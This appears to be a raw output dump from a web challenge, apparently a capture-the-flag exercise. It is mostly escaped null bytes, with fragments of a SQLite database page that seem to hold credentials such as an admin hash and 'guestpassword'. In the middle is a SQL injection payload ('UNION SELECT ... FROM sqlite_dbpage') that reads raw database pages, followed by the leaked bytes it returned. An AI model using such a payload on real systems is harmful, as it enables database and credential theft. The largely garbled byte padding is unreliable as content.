x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x03\x03\x17-adminfb8fe2baa0190046\x10\x02\x03\x17\x1dguestpassword\x11\x01\x03\x19\x1dalpacapacapaca&amp;#39;!
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 2), 1 --
Hello, b&amp;#39;\n\x00\x00\x00\x03\x0f\xe2\x00\x0f\xe2\x0f\xf6\x0f\xec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0